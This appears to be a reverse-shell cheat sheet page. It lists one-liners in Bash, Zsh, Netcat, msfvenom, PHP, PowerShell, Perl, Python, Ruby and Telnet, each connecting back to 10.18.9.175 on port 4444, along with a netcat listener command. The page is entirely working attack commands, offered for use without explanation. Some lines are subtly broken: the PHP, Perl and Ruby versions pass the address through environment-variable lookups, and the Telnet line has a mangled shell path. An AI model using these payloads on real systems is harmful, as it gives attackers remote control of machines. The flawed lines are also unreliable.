Skip to content

Reverse shell

Bash

bash -c 'exec bash -i &>/dev/tcp/10.18.9.175/4444 <&1'

Zsh

zsh -c 'zmodload zsh/net/tcp && ztcp 10.18.9.175 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.18.9.175 4444 >/tmp/f

Netcat

generate

msfvenom -p cmd/unix/reverse_netcat lhost=10.18.9.175 lport=4444 R
shell
mkfifo /tmp/uvqhstt; nc 10.18.9.175 4444 0</tmp/uvqhstt | /bin/sh >/tmp/uvqhstt 2>&1; rm /tmp/uvqhstt
listener
netcat -lvnp 4444

PHP

php -r '$sock=fsockopen(getenv("10.18.9.175"),getenv("4444"));exec("/bin/sh -i <&3 >&3 2>&3");'

PowerShell

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.18.9.175',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Perl

perl -e 'use Socket;$i="$ENV{10.18.9.175}";$p=$ENV{4444};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.18.9.175",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["10.18.9.175"],ENV["4444"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Telnet

TF=$(mktemp -u); mkfifo $TF && telnet 10.18.9.175 4444 0<$TF | /bin sh 1>$TF